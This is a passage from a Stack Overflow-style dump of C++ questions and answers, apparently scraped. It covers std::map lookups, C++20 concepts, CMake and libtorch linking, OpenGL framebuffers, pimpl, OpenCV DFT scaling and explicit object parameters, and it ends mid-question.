I find your structure utterly confusing, but it's possible to make the lookup nearly like you want it: #include <iostream> #include <map> #include <vector> int main() { std::map<int, std::map<std::vector<int>, int>> something{ {2001, { {{1905, 2000}, 500}, {{1910, 2030}, 700} }}, {2005, { {{1635, 2070}, 300}, {{2310, 5930}, 599} }} }; std::cout << "result: " << something[2001][{1905,2000}] << '\n'; //>> result: 500 std::cout << "result: " << something[2001][{1910,2030}] << '\n'; //>> result: 700 std::cout << "result: " << something[2005][{2310,5930}] << '\n'; //>> result: 599 } If there are always two values (value2 and value3) in the above std::vector<int>, you can replace it with a std::pair<int, int> instead: std::map<int, std::map<std::pair<int, int>, int>> something[...}; Note: A std::map is ordered (with respect to the keys in the map). If you don't need it to be ordered you can replace the outer std::map with a std::unordered_map. The lookup and insertion etc. is usually a bit quicker that way. #include <unordered_map> //... std::unordered_map<int, std::map<std::pair<int, int>, int>> something{...};
71,101,451
71,101,565
Placement New Operator
#include<iostream> using namespace std; int main() { int buf[2]; int *p=new (buf) int(2); int *q=new (buf+1) int(6); for(int i=0;i<2;i++) cout<<buf[i]<<" "; return 0; } I was trying placement new operator with the following example. For the above code I get the output as: trial.cpp:7:20: warning: placement new constructing an object of type 'int' and size '4' in a region of type 'int [2]' and size '0' [-Wplacement-new=] int *q=new (buf+1) int(6); 2 6 Why am I getting a warning for *q ? From my understanding p and q are 2 pointers pointing to 2 different blocks in buf array. Please correct me if I'm wrong.
This is a GCC bug affecting versions 8 to 10 and fixed in 11, see bug report. The code is fine, the warning a false-positive.
71,101,585
71,101,646
How to use C++20 concepts to do different things based on return type of a function?
I want to make a generic print(x) function, which behaves different for different types. What I have so far works for all container types, including the one I wrote myself. However, either the "wrong" function is getting called or it won't compile due to ambiguity. Here is my code: #include <iostream> #include <concepts> class Container { int x, y, z; public: Container(int a, int b, int c) : x(a), y(b), z(c) {} Container() : x(0), y(0), z(0) {} std::size_t size() const { return 3; } const int& operator[] (std::size_t index) const { if(index == 0) return x; else if(index == 1) return y; else return z; } int& operator[] (std::size_t index) { if(index == 0) return x; else if(index == 1) return y; else return z; } }; template<typename T> concept printable_num = requires (T t, std::size_t s) { { t.size() } -> std::convertible_to<std::size_t>; { t[s] } -> std::same_as<int&>; }; template<printable_num T> void print(const T& t) { std::size_t i = 0; for(;i < t.size() - 1; i++) std::cout << t[i] << ", "; std::cout << t[i] << std::endl; } template<typename T> concept printable = requires (T t, std::size_t s) { { t.size() } -> std::convertible_to<std::size_t>; { t[s] } -> std::convertible_to<char>; }; template<printable T> void print(const T& t) { std::size_t i = 0; for(;i < t.size() - 1; i++) std::cout << t[i]; std::cout << t[i] << std::endl; } int main() { Container c{1, 2, 3}; print(c); Container empty; print(empty); std::string s{"this is some string"}; print(s); return 0; } As you can see, I want to print a separator if the type returned from operator[] is int&. This does not compile due to ambiguity. Is there a way to make this compile and to get me where I want (call the print function without the separator for std::string and the one with separator for my own Container type)?
Given an integer (or lvalue to one), would you not agree that it is convertible to a char? The constraints check exactly what you have them check for the types in your question. One way to tackle it would be by constraint subsumption. Meaning (in a very hand wavy fashion) that if your concepts are written as a conjugation (or disjunction) of the same basic constraints, a compiler can normalize the expression to choose the "more specialized one". Applying it to your example.. template<typename T> concept printable = requires (T t, std::size_t s) { { t.size() } -> std::convertible_to<std::size_t>; { t[s] } -> std::convertible_to<char>; }; template<typename T> concept printable_num = printable<T> && requires (T t, std::size_t s) { { t[s] } -> std::same_as<int&>; }; Note how we used printable to define printable_num as the "more specific" concept. Running this example, we get the output you are after.
71,101,695
71,294,930
Failing to compile project using CUDA 11.0, Python 3.8, Torch 1.8
I am trying to compile DiffDVR, a differentiable renderer. This requires running cmake first, so I had to install some dependencies. I want to use the same dependencies as the ones in the repo. I'm on Linux Mint 20.3, which is based on Ubuntu 20.04. In order, I have installed: CUDA 11.0 (using the official runfile) cuDNN v8.1.1 (the highest version compatible with 11.0, as per the cuDNN archive) created a Python 3.8 environment with Torch 1.8.0 (based on the environment.yml file in the repo) libglm-dev, libglfw3-dev and libglew-dev as they were needed for compilation. The error I get when going to the build dir and running cmake .. is: CMake Error: The following variables are used in this project, but they are set to NOTFOUND. Please set them or make sure they are set and tested correctly in the CMake files: TORCH_LIB_c10 linked by target "Renderer" in directory /home/andrei/PycharmProjects/DiffDVR/renderer linked by target "Gui" in directory /home/andrei/PycharmProjects/DiffDVR/gui TORCH_LIB_c10_cuda linked by target "Renderer" in directory /home/andrei/PycharmProjects/DiffDVR/renderer linked by target "Gui" in directory /home/andrei/PycharmProjects/DiffDVR/gui TORCH_LIB_torch_cpu linked by target "Renderer" in directory /home/andrei/PycharmProjects/DiffDVR/renderer linked by target "Gui" in directory /home/andrei/PycharmProjects/DiffDVR/gui TORCH_LIB_torch_cuda linked by target "Renderer" in directory /home/andrei/PycharmProjects/DiffDVR/renderer linked by target "Gui" in directory /home/andrei/PycharmProjects/DiffDVR/gui TORCH_LIB_torch_python linked by target "Renderer" in directory /home/andrei/PycharmProjects/DiffDVR/renderer linked by target "Gui" in directory /home/andrei/PycharmProjects/DiffDVR/gui Scrolling up in the output reveals the following problem: Torch: full library list: /usr/lib/libtorch.so;TORCH_LIB_c10-NOTFOUND;TORCH_LIB_c10_cuda-NOTFOUND;/usr/lib/libtorch.so;TORCH_LIB_torch_cpu-NOTFOUND;TORCH_LIB_torch_cuda-NOTFOUND;TORCH_LIB_torch_python-NOTFOUND So it seems like these libraries are not found. I tried to sudo apt-get install libtorch3-dev but apt says it's already installed (I assume it happened when conda installed the pytorch package?), and there are no libraries available with the c10, c10_cuda etc suffixes. How would I make sure these libraries are found, so I can compile the project? I made some progress with the following (hacky) solution: sudo ln -s /home/andrei/miniconda3/envs/py38torch18/lib/python3.8/site-packages/torch/lib/libc10.so libc10.so sudo ln -s /home/andrei/miniconda3/envs/py38torch18/lib/python3.8/site-packages/torch/lib/libc10_cuda.so libc10_cuda.so sudo ln -s /home/andrei/miniconda3/envs/py38torch18/lib/python3.8/site-packages/torch/lib/libtorch_cpu.so libtorch_cpu.so sudo ln -s /home/andrei/miniconda3/envs/py38torch18/lib/python3.8/site-packages/torch/lib/libtorch_cuda.so libtorch_cuda.so sudo ln -s /home/andrei/miniconda3/envs/py38torch18/lib/python3.8/site-packages/torch/lib/libtorch_python.so libtorch_python.so Which fixed the previous errors. Unfortunately, I'm now encountering the following error: CMake Error at renderer/CMakeLists.txt:92 (add_library): CUDA_STANDARD is set to invalid value '17' More progress: Managed to run cmake successfully by uninstalling it via apt and reinstalling it via snap (because the apt version was too old). Unfortunately, make fails now, with the error: [ 46%] Building CXX object renderer/CMakeFiles/Renderer.dir/volume.cpp.o In file included from /opt/project/renderer/volume.cpp:1: /opt/project/renderer/volume.h:9:10: fatal error: torch/types.h: No such file or directory 9 | #include <torch/types.h> | ^~~~~~~~~~~~~~~ compilation terminated. make[2]: *** [renderer/CMakeFiles/Renderer.dir/build.make:76: renderer/CMakeFiles/Renderer.dir/volume.cpp.o] Error 1 make[1]: *** [CMakeFiles/Makefile2:244: renderer/CMakeFiles/Renderer.dir/all] Error 2 make: *** [Makefile:91: all] Error 2
Update: specifying all the paths manually worked. In my case, this was: cmake .. -DTORCH_PATH=/home/andrei/miniconda3/envs/py38torch18/lib/python3.8/site-packages/torch -DTorch_DIR=/home/andrei/miniconda3/envs/py38torch18/lib/python3.8/site-packages/torch/share/cmake/Torch -DPYTHON_LIBRARY=/home/andrei/miniconda3/envs/py38torch18/lib/libpython3.8.so -DPYTHON_EXECUTABLE=/home/andrei/miniconda3/envs/py38torch18/bin/python
71,101,701
71,101,899
How to get an element in a map and change it
How to get an element in a map and change it? For example, if I have: {'a', 100}, {'b', 200}, {'c', 300}, {'d', 400}, {'e', 500} I want to get to the value of 'a' and change it from 100 to 105.
map<char, int>::iterator it = m.find('a'); if (it != m.end() { it->second = 105;
71,101,911
71,106,956
Framebuffer not completing on GL_DEPTH_ATTACHMENT render to texture
I'm attempting shadow mapping in OpenGL, and have been unable to render specifically GL_DEPTH_ATTACHMENT to a frame buffer. glCheckFramebufferStatus does not return complete but only when targeting the depth attachment - it works fine for color attachment0. glBindFramebuffer(GL_FRAMEBUFFER, ShadowMapFrameBuffer); glDrawBuffer(GL_NONE); glReadBuffer(GL_NONE); glViewport(0, 0, LightMapResolution, LightMapResolution); glClear(GL_DEPTH_BUFFER_BIT); // Shader works fine with colour, too. std::shared_ptr<Shader> mapShader = Shaders["shadowMap"]; glGenTextures(1, &DEBUGSHADOW); glBindTexture(GL_TEXTURE_2D, DEBUGSHADOW); // I've tried GL_UNSIGNED_INT in the type and GL_DEPTH_COMPONENT16 as the internal format as per my search results to no avail. glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT, LightMapResolution, LightMapResolution, 0, GL_FLOAT, GL_FLOAT, NULL); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, DEBUGSHADOW, 0); if (glCheckFramebufferStatus(GL_FRAMEBUFFER) != GL_FRAMEBUFFER_COMPLETE) { clog::Error(CLOGINFO, "Framebuffer broke!", false); } // Drawing code omitted. Irrelevant to the issue and functions fine. glViewport(0, 0, windowWidth, windowHeight); glBindFramebuffer(GL_FRAMEBUFFER, 0); return; For completeness, the shaders are taken from LearnOpenGL and are as follows: #version 460 core layout (location = 0) in vec3 aPos; uniform mat4 lightMatrix; uniform mat4 modelMatrix; void main() { gl_Position = lightMatrix * modelMatrix * vec4(aPos, 1.0); } #version 460 core void main() { } The program outputs the error message within the conditional "Framebuffer broke!" any time the buffer is configured for GL_DEPTH_ATTACHMENT and I'm unsure why. As far as I can tell my code does no deviate from the aforementioned LearnOpenGL article (https://learnopengl.com/Advanced-Lighting/Shadows/Shadow-Mapping).
It turned out to be a twofold issue. At some point I'd made a type in glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT, LightMapResolution, LightMapResolution, 0, GL_FLOAT, GL_FLOAT, NULL); The first instance of GL_FLOAT should've been GL_DEPTH_COMPONENT. This caused the incomplete framebuffer. The second error was found through glGetError(). I was calling glClear() before the framebuffer had an attachment (presumably?) and it was reporting GL_INVALID_FRAMEBUFFER_OPERATION (1286 in decimal for reference). After fixing the above issues the framebuffer behaves as expected.
71,102,284
71,102,578
c++ : Why does my boolean store a value greater than 1?
I'm learning C++ and am right now starting with the concept of classes. And I learned that a new created object (without constructor) will have randomized attributes. So I wanted to test that and wrote a short code: #include <iostream> #include <vector> class Person; class Person { public: bool const isHungry() { return hungry; } bool const isOld() { return age; } private: bool hungry; bool age; }; int main() { Person person1,person2,person3; std::vector<Person> persons {person1,person2,person3}; for (auto i : persons) { std::cout << "Hungrig: " << i.isHungry() << ";\t Alt: " << i.isOld(); std::cout << std::endl; } } And the result were: Hungrig: 96; Alt: 147 Hungrig: 222; Alt: 46 Hungrig: 252; Alt: 127 So yes, it is randomized, but a now I got a new question: How can that be?? It's a boolean, it should be 0 or 1! Edit: I think the trouble I have with it is that I thought the boolean converts integers greater than 1 to 1. Like this: bool test; test= 32; std::cout << test << std::endl; Result is always 1. So it puzzles me why it doesn't do it with the boolean in my class.
And I learned that a new created object (without constructor) will have randomized attributes. This is wrong. The uninitialized members will have indeterminate values until they are assigned to. Trying to read an indeterminate value causes the program to have undefined behavior, which means that there will be no guarantee on how the program will behave. This is different from simply producing an unspecified value. It allows the program to behave in any way, whether or not it fits e.g. the constraints of types that you expect from a valid program. Practically speaking, it often happens that the undefined behavior of reading uninitialized variables manifests simply in producing unspecified values, but these values are not randomized either. They are deterministic and a result of the specific way in which the compiler compiled the invalid program. You are correct that a bool variable can have only values 0 or 1, but the memory that the variable occupies may have more states than that and so it is possible that multiple object representations represent the same value. For example a bool variable may occupy a whole byte of memory and one possible interpretation would be that all states of this memory are valid object representations with one specific bit identifying the value of the bool. But it may also be that each value has only one valid object representation, in which case it is likely that the code reading and printing the bool will not bother extracting such a bit and print non-sense if the memory is in an invalid state for the type, such as is likely to happen when you don't initialize the memory.
71,102,678
71,102,817
Accessing private members of surrounding class
I have two classes like this: #include <iostream> class A { public: class B { public: void printX(void) const { std::cout << A::x << std::endl; } }; private: int x; }; Obviously this piece of code doesn't work because B can't access x, but is there a way to make it work? I've tried using friend class keyword in both classes like this: class A { public: class B { public: friend class A; void printX(void) const { std::cout << A::x << std::endl; } }; friend class B; private: int x; }; But it didn't work either, and I can't figure out if it's even possible.
According to the C++ 17 Standard (14.7 Nested classes) 1 A nested class is a member and as such has the same access rights as any other member. The members of an enclosing class have no special access to members of a nested class; the usual access rules (Clause 14) shall be obeyed. The problem with the provided code is that x is not a static data member of the class A. You need to provide an object of the class A the data member x of which will be accessed within an object of the nested class. For example class A { public: class B { public: void printX( const A &a ) const { std::cout << a.x << std::endl; } }; private: int x; }; A::B().printX( A() );
71,102,939
71,104,079
Can't create recursive type `using T = vector<T::iterator>`
I'm trying to create a vector that contains its own iterators as elements, and I find it impossible to fully expand the type declaration. using MyVectorType = std::vector<std::vector<...>::iterator>; // Trying to fill in the ... ^^^ Another approach that fails is: using MyVectorType = std::vector<MyVectorType::iterator>; use of undeclared identifier 'MyVectorType' Trying to use an intermediate declaration also fails template <class T> using MyVectorType_incomplete = std::vector<T>; using MyVectorType = MyVectorType_incomplete<MyVectorType_incomplete::iterator>; error: 'MyVectorType_incomplete' is not a class, namespace, or enumeration Clearly using a pointer instead solves this issue. struct It { It *iterator; }; vector<It>; However this means that you cannot use the iterator interface, and basically have to reimplement the iterator for the given class. Is there a way to do this in C++? More generally, is there a way to create recursive types like the above, where you refer to a type before it's created?
I do not think that it is possible by the standard. To achieve what you want you must be able to refer to std::vector<T>::iterator while T is incomplete. Before C++17 T was required to be complete to instantiate std::vector<T> at all, so it cannot work there. Since C++17 the standard allows instantiating std::vector<T> with incomplete types T, however only as long as the type is complete before any of its members are referenced, see [vector.overview]/4 of the post-C++20 draft. However, if you want to achieve such a recursion, you need to be able to inherit or have a member of type std::vector<T>::iterator. Not only does this reference the ::iterator type, but it also requires it to be instantiated, which is not guaranteed to work at this point. Having the class inherit from std::vector<T::iterator> won't work either, since then T needs to be complete. Deferring T::iterator to another inherited class will also not work, since the classes then recursively depend on being completed before one another. Depending on how the standard library is implementing std::vector<T>::iterator the following may work, although it is technically undefined behavior according to the standard: struct MakeMyVectorType : std::vector<MakeMyVectorType>::iterator { }; using MyVectorType = std::vector<MakeMyVectorType>; int main() { MyVectorType v1(10); MyVectorType v2(v1.begin(), v1.end()); v2.push_back({v1.begin()+5}); MyVectorType v3{{v2.begin()}, {v2.end()}}; std::cout << v1.size() << "\n"; // 10 std::cout << v2.size() << "\n"; // 11 std::cout << v3.size() << "\n"; // 2 } I am also not really sure how you would use this type.
71,104,242
71,104,267
std::basic_string<T>::size_type causes compile error in C++20 mode
Here is a simple code that MSVC 2022 compiles in C++17 mode, but fails in C++20 mode: template <typename T> void foo() { std::basic_string<T>::size_type bar_size; //This fails to compile in C++20 } The error being reported in C++20 mode does not help explain the reason: error C3878: syntax error: unexpected token 'identifier' following 'expression' Interestingly, it only happens inside templated functions, this counterexample compiles fine in C++20 mode (as well as in C++17): void baz() { std::basic_string<char>::size_type bar_size; } The only way I can fix the problem so far is to use auto instead of explicit data type, for example like so: template <typename T> void foo() { std::basic_string<T> bar; auto bar_size = bar.size(); } But I really want to learn what has changed in C++20 compared to C++17 that causes this syntax to be invalid instead of just mindlessly applying a workaround patch.
Use typename std::basic_string<T>::size_type bar_size; The name size_type is a dependent name.
71,104,285
71,104,431
problem in my int main when i am passing the values to the function
The whole program is working its just not showing name after running #include<iostream> #include<string.h> using namespace std; class employee{ private: char profession; int dob,sallery; public: int hour; char names; void display(int hour,char names[20]){ cout<<"thank you "<<names[20]<<"for working for our company\n here is your "<<endl; if(hour>=8){ cout<<"for working 7-8 hours you will be payed 1500 Rupees"<<endl; } else if (hour>=6){ cout<<"you have worked for 5-6 hours your wage will be 1250 Rupees"<<endl; } else if(hour>=4){ cout<<"you have worked for 3-4 hours your wage will be 850 Rupees"<<endl; } else if(hour>=2){ cout<<"you have worked for 1-2 hours your wage will be 500 Rupees"<<endl; } else { cout<<"you have entered wrong input"<<endl; } } }; int main(){ char x[20]; int y; cout<<"enter your name here"<<endl; cin>>x; cout<<"enter the number of hours you worked"<<endl; cin>>y; employee c1; c1.display(y,x); return 0; } i am not able to pass the above char from user to the function.
If you are trying to take string as input, better to use string data type. Instead of char x[20]; int y; cout<<"enter your name here"<<endl; cin>>x; Try changing it to string x; int y; cout<<"enter your name here"<<endl; cin>>x; And in your void display() function Change from void display(int hour,char names[20]){ cout<<"thank you "<<names[20]<<"for working for our company\n here is your "<<endl; To this void display(int hour,string name){ cout<<"thank you "<<name<<"for working for our company\n here is your "<<endl;
71,104,428
71,108,481
C++ ofStream: "<<" vs "put"
Being new to C++, I am confused about what << and put() means while using ofstream to write to a text file. I tried to experiment with the two following styles as follows: Approach 1: void writeTester() { std::ofstream oFile("Resources/tst.txt", std::ios::out | std::ios::trunc); std::vector<int> v{ 1,2,3,4 }; for (int i = 0;i < 4;i++) { oFile.put(v[i]); //casting to character pointer and writing also produced similar result //oFile.put(*(char*)&v[i]); } oFile.close(); } Approach 2: void writeTester() { std::ofstream oFile("Resources/tst.txt", std::ios::out | std::ios::trunc); std::vector<int> v{ 1,2,3,4 }; for (int i = 0;i < 4;i++) { oFile << v[i]; } oFile.close(); } While Approach 2 wrote the expected result to file (1234), Approach 1 wrote some garbage value to the file. What is the difference between the 2 styles, and when to use which one? Also, what is the correct way to use Approach 1 to have "1234" as the output written to the file?
Simply put, using the '<<' operator means certain overloads can be used, which means writing integer values (as in your case) will mean they're converting to their string representations before being written to the file. Using put, however, will write a single byte to the stream. This means your 4 byte int will be truncated to a single byte, thus writing nonsense data to your file. Here's the documentation for ofstream::put. And here's the documentation for ofstream. For completion, and to spark your interest, here's an ASCII table, where you can look up the values you were writing to the file. Depends on the byte order (endianness) of your machine, which char is written. On LE machines it should be NUL, but I get confused myself sometimes and mix up the byte orders in my head so please take that last sentence with a grain of salt.
71,104,545
71,104,867
Constructor and destructor in c++ when using the pimpl idiom
I come from Java that has a different way in handling what's private and has to be hided regarding a class implementation and it also has a garbage collector which means there is no need for a destructor. I learned the basics of how to implement a class in c++ but I need to better understand how to implement a class, in particular the constructor and destructor, when using the pimpl idiom. hpp file: class MyClass{ public: MyClass(); MyClass(std::vector<int>& arr); ~MyClass(); private: struct Impl; Impl* pimpl; }; cpp file: #include "MyClass.hpp" using namespace std; struct MyClass::Impl{ vector<int> arr; int var; }; I wrote the sample code of a class I need to work on(which means I can't change the way the pimpl idiom is used) using the pimpl idiom and I'm looking for an answer to these questions: How do I implement the constructor to create an empty instance of MyClass? MyClass::MyClass(){} How do I implement the constructor to create an instance of MyClass with these arguments? MyClass::MyClass(vector<int>& arr,int var){} How do I implement the destructor? MyClass::~MyClass(){} EDIT: How I would do it: MyClass::MyClass(): pimpl(new Impl) {} MyClass::MyClass(vector<int>& arr,int var): pimpl(new Impl) { pimpl->arr=arr; pimpl->var=var; } MyClass::~MyClass(){ delete pimpl; }
This is an example of a correct way to implement PIMPL idiom in modern C++: foo.hpp #pragma once #include <memory> class Foo { public: Foo(); ~Foo(); Foo(Foo const &) = delete; Foo &operator=(Foo const &) = delete; Foo(Foo &&) noexcept; Foo &operator=(Foo &&) noexcept; void bar(); private: class impl; std::unique_ptr<impl> pimpl_; }; foo.cpp: #include "foo.hpp" #include <iostream> class Foo::impl { public: impl() = default; ~impl() = default; impl(impl const &) = default; impl &operator=(impl const &) = default; impl(impl &&) noexcept = default; impl &operator=(impl &&) noexcept = default; void bar() { std::cout << "bar" << std::endl; } }; Foo::Foo() : pimpl_(new impl{}) {} Foo::~Foo() = default; Foo::Foo(Foo &&) noexcept = default; Foo &Foo::operator=(Foo &&) noexcept = default; void Foo::bar() { pimpl_->bar(); } main.cpp: #include "foo.hpp" int main(int argc, char const *argv[]) { Foo foo; foo.bar(); return 0; } There are a few words that are to be said: use a smart pointer (unique or shared) to hold reference(s) to 'impl' object. It'll help you like in JAVA control number of references to an underlying object. In this example, as just Foo class is gone 'impl' is automatically destroyed, there is no need to manually watch the lifetime of the 'impl' object 'impl' MUST be always completely declared and defined in *.cpp file (or bunch of files) or internal *.hpp and/or *.cpp files so that a user of your front class (i.e., in this example 'Foo') that aggregates 'impl' is impossible to see any changes and content of your 'impl' class, that is why PIMPL idiom exists: to persist the interface of the front class for a user and all the changes mostly shall be done in the hidden 'impl' class The destructor of the front class MUST be always defined in *.cpp file since the compiler must know how to destroy the 'impl' that is not seen thoroughly from the *.hpp file where a front class is declared The special functions with rvalue-references (move-ctor and move-assignment operator) MUST also be defined in *.cpp file due to the same reason as in the previous clause
71,104,721
71,104,800
How can I stop cin from skippping a line?
I was trying to make a program where the user is asked to give an input and it gives output with answered questions. Everything looks alright except that cin skipped my last question about school. This is the original code: //this program fills my data in profile #include <iostream> #include <string> using namespace std; int main () { int age, exp_years; char desired_grade; string school_name, name; const int year_grad = 4; bool is_student; cout << "You will need to enter your data for portfolio card" << endl; cout << "Enter your last name" << endl; cin >> name; cout << "Enter your age" << endl; cin >> age; cout << "Enter your years of work experience" << "\n"; cin >> exp_years; cout << "Is it true or false that you are a student (put 'true' or 'false')" << endl; cin >> is_student; cout << "Great! What school are you in (if you are not a student put desirable school)?" << endl; cin >> school_name; /* trying to make a function below */ cout << "Awesome, here is your info" << endl << "Your last name is "<< name << endl <<"You are "<<age << " years old." << endl << exp_years << " years of work experience" << endl; if ( is_student == 1) { cout << school_name << " is lucky to have you!\n"; return 0; } else { cout << "Btw I am sure that " << school_name << " would be happy to have you as their student anytime\n"; return 0; } return 0; } I read some article and they said that getline() can help, so I tried to substitute with: cout << "Is it true or false that you are a student (put 'true' or 'false')" << endl; getline(cin, is_student); cout << "Great! What school are you in (if you are not a student put desirable school)?" << endl; getline(cin, school_name); Hovewer, it gives me an error: error: no matching function for call to 'getline' What am I missing?
It seems the problem is related to entering a boolean value. Here is shown how to enter boolean values #include <iostream> #include <iomanip> int main() { bool is_student; std::cin >> is_student; // accepts 1 as true or 0 as false std::cout << is_student << '\n'; std::cin >> std::boolalpha >> is_student; // accepts strings false or true std::cout << is_student << '\n'; }
71,104,954
71,105,239
Round trip through cv::dft() and cv::DFT_INVERSE leads to doubling magnitude of 1d samples
I'm playing with some toy code, to try to verify that I understand how discrete fourier transforms work in OpenCV. I've found a rather perplexing case, and I believe the reason is that the flags I'm calling cv::dft() with, are incorrect. I start with a 1-dimensional array of real-valued (e.g. audio) samples. (Stored in a cv::Mat as a column.) I use cv::dft() to get a complex-valued array of fourier buckets. I use cv::dft(), with cv::DFT_INVERSE, to convert it back. I do this several times, printing the results. The results seem to be the correct shape but the wrong magnitude. Code: cv::Mat samples(1, 2, CV_64F); samples.at<double>(0, 0) = -1; samples.at<double>(0, 1) = 1; std::cout << "samples(" << samples.type() << "):" << samples << std::endl; for (int i = 0; i < 3; ++i) { cv::Mat buckets; cv::dft(samples, buckets, cv::DFT_COMPLEX_OUTPUT); samples = cv::Mat(); cv::dft(buckets, samples, cv::DFT_INVERSE | cv::DFT_COMPLEX_INPUT | cv::DFT_REAL_OUTPUT); std::cout << "buckets(" << buckets.type() << "):" << buckets << std::endl; std::cout << "samples(" << samples.type() << "):" << samples << std::endl; } Output: samples(6):[-1, 1] buckets(14):[0, 0, -2, 0] samples(6):[-2, 2] buckets(14):[0, 0, -4, 0] samples(6):[-4, 4] buckets(14):[0, 0, -8, 0] samples(6):[-8, 8] I would have expected the above output to repeat. E.g. [-1, 1], [0, 0, -1, 0], .... Instead, the magnitude is doubling on each round-trip. Is my understanding wrong? Or am I using the wrong flags? Etc.
The inverse DFT in opencv will not scale the result by default, so you get your input times the length of the array. This is a common optimization, because the scaling is not always needed and the most efficient algorithms for the inverse DFT just use the forward DFT which does not produce the scaling. You can solve this by adding the cv::DFT_SCALE flag to your inverse DFT. Some libraries scale both forward and backward transformation with 1/sqrt(N), so it is often useful to check the documentation (or write quick test code) when working with Fourier Transformations.
71,105,685
71,107,053
How to build CMake Debug version using different target name for executables?
I am building using cmake -DCMAKE_BUILD_TYPE=Debug .. And I am using set(CMAKE_DEBUG_POSTFIX d) to add a d to the end of the filename. This is working for static libraries and I expected it to work for executables as well. But, at least in my case, it is compiling all the static libraries using *d.a and the executable without d suffix. Am I missing something?
You are not missing anything. As the documentation says (emphasis mine): When a non-executable target is created its <CONFIG>_POSTFIX target property is initialized with the value of this variable if it is set. See: https://cmake.org/cmake/help/latest/variable/CMAKE_CONFIG_POSTFIX.html By the sounds of it, though, you could manually set the property on your executable target with set_target_properties: set_target_properties( target1 ... targetN PROPERTIES DEBUG_POSTFIX "${CMAKE_DEBUG_POSTFIX}" ) Note, however, that it doesn't apply to executables by default because that's rarely what you want. For libraries, it's fairly common to package and deploy debug and release configurations simultaneously. On Windows, for development, it is a requirement. On the other hand, one very rarely needs to deploy debug applications and hence one very rarely wants a postfix applied.
71,105,841
71,105,996
First login attempt works if it's correct, but if it's incorrect then other correct attempts don't work
void __fastcall TFormLogin::btnLoginClick(TObject *Sender) { UnicodeString query = "select * from admin where korisnickoIme = '" + editKorisnicko->Text + "' AND lozinka = '" + editLozinka->Text + "'"; AnsiString ansiQuery = query; ADOQuery1->ConnectionString = "Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=KnjiznicaManagement;Data Source=KUKICRO\\SQLEXPRESS;Use Procedure for Prepare=1;Auto Translate=True;Packet Size=4096;Workstation ID=KUKICRO;Use Encryption for Data=False;Tag with column collation when possible=False"; ADOQuery1->SQL->Add(ansiQuery); ADOQuery1->Prepared = true; try { ADOQuery1->Active = true; } catch (EADOError& e) { MessageDlg("Error spajanja", mtError, TMsgDlgButtons() << mbOK, 0); return; } TDataSource* Src = new TDataSource(this); Src->DataSet = ADOQuery1; Src->Enabled = true; if(Src->DataSet->RecordCount < 1){ labelPrijava->Visible = true; ADOQuery1->Prepared = false; Src->Enabled = false; try{ ADOQuery1->Active = false; } catch (EADOError& e){ MessageDlg("Error odspajanja", mtError, TMsgDlgButtons() << mbOK, 0); } return; } FormMain->labelUlogiran->Caption = Src->DataSet->FieldByName("korisnickoIme")->AsString; FormLogin->Close(); } Code from above is my OnClick button event code. It should simulate login from a database table "admin" that contains "korisnickoIme" in the username field and "lozinka" in the password field. When I type in the correct username and password, the first attempt works, but if I type in the wrong username and password and then the correct one, it doesn't work. When I go through with the debugger, the last if is true but it shouldn't be.
This line: ADOQuery1->SQL->Add(ansiQuery); adds the ansiQuery to the end of the SQL collection for ADOQuery. When you click the button a second time, the new query is added to the end, but the original incorrect query is still at the start of the collection, so it is run first. Solution: Clear out the collection on each button click. Add the following before the Add line: ADOQuery1->SQL->Clear()
71,106,566
71,106,578
Understanding const reference returned from a function
I have a function const std::string& getRecordingJobToken() { return getToken(); } const std::string& getToken() const { return m_Token; } std::string m_Token; I am able to call it as below const std::string jobToken = getRecordingJobToken(); However when I do this, const std::string jobToken; jobToken = getRecordingJobToken(); It throws me this error - error: passing ‘const string’ {aka ‘const std::__cxx11::basic_string’} as ‘this’ argument discards qualifiers [-fpermissive] What is the difference ? I know that a reference variable has to be initialized immediately. std::string &ref = a; Is it some similiar logic ? The reason i am confused is that though getRecordingJobToken() returns a const reference, the variable jobToken that I have is not a reference variable. It is a variable that is used to take a string reference being returned from the getRecordingJobToken() function.
Initialization and assignment are different things. jobToken is const, it could be initialized, e.g. const std::string jobToken = getRecordingJobToken(); // copy-initialization but can't be assigned (modified) later, e.g. const std::string jobToken; // default-initialization jobToken = getRecordingJobToken(); // fails; assignment
71,106,869
71,106,989
how to convert string to vector<int> c++
I would like to convert an string into a vector, so that it looks like the following: string number = "0110"; vector < int > Vec; with the result: Vec[0] = 0 Vec[1] = 1 Vec[2] = 1 Vec[3] = 0 My problem is that the number starts with a 0, so using % doesn't seem to work if i first transform my string to an int
I noticed that the question is modified to make it answerable: #include <string> #include <vector> int main(){ using namespace std; string number = "0110"; vector < int > Vec; for(char& digit : number){ Vec.push_back(digit - '0'); } }
71,107,158
71,107,965
Does Explicit Object Parameter Allow Convertible Types?
From §4.2.7 of the proposal http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2021/p0847r7.html#pathological-cases It said that: These are even more unlikely to be actually useful code. In this example, B is neither convertible to A nor int, so neither of these functions is even invocable using normal member syntax. However, you could take a pointer to such functions and invoke them through that pointer. (&B::bar)(42) is valid, if weird, call. However, It does not specify whether the standard does not allow explicit object parameter of type-of-self implicitly convertible to particular another type. struct A { }; struct B { void foo(this A&); void bar(this int); }; Does that mean that: struct A { }; struct B { operator A() const noexcept; void foo(this A); }; // ... // '&B::foo' is of type function pointer not pointer to member function // because it uses explicit object parameter. (&B::foo)(A{}); (&B::foo)(B{}); B{}.foo(); // will work? will work? In another case, here is a lambda. Since the type of the lambda is unutterable and is always dependent. What about the case above? (this captureless lambda is convertible to int(*)(int, int, int)) auto fib = [](this int(* self)(int, int, int), int n, int a = 0, int b = 1) { return n == 0 ? a : n == 1 ? b : self(n - 1, b, a + b); }; Given that: Non-member functions, static member functions, and explicit object member functions match targets of function pointer type or reference to function type. Non-static Implicit object member functions match targets of pointer-to-member-function type. ([over.match.viable] §12.2.3) In all contexts, when converting to the implicit object parameter or when converting to the left operand of an assignment operation only standard 